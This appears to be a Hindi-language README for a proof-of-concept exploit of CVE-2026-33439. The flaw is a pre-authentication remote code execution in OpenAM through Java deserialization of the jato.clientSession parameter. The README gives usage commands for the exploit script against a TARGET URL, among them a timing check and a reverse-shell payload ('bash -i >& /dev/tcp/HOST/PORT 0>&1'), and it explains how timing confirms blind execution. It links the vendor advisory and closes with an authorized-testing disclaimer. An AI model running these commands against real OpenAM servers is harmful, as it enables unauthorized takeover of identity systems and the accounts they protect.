rh33t/cve-2026-33439-pocCVE-2026-33439 के लिए प्रूफ़ ऑफ़ कॉन्सेप्ट, जो Java डीसेरियलाइज़ेशन के माध्यम से OpenAM में एक अनऑथेंटिकेटेड RCE है
OpenIdentityPlatform OpenAM में jato.clientSession पैरामीटर के असुरक्षित Java डीसेरिएलाइज़ेशन के माध्यम से प्री-ऑथ RCE। प्रभावित <= 16.0.5, 16.0.6 में ठीक किया गया।
सलाह: https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
time ./cve-2026-33439.py --url https://TARGET/openam --command 'sleep 3' # takes about 3 seconds
./cve-2026-33439.py --url https://TARGET/openam --command 'bash -i >& /dev/tcp/HOST/PORT 0>&1'
आउटपुट ब्लाइंड है। कमांड समाप्त होने तक अनुरोध ब्लॉक रहता है, इसलिए टाइमिंग निष्पादन की पुष्टि करती है (--command 'sleep 5' में लगभग 5 सेकंड लगते हैं)।
केवल अधिकृत सुरक्षा परीक्षण के लिए।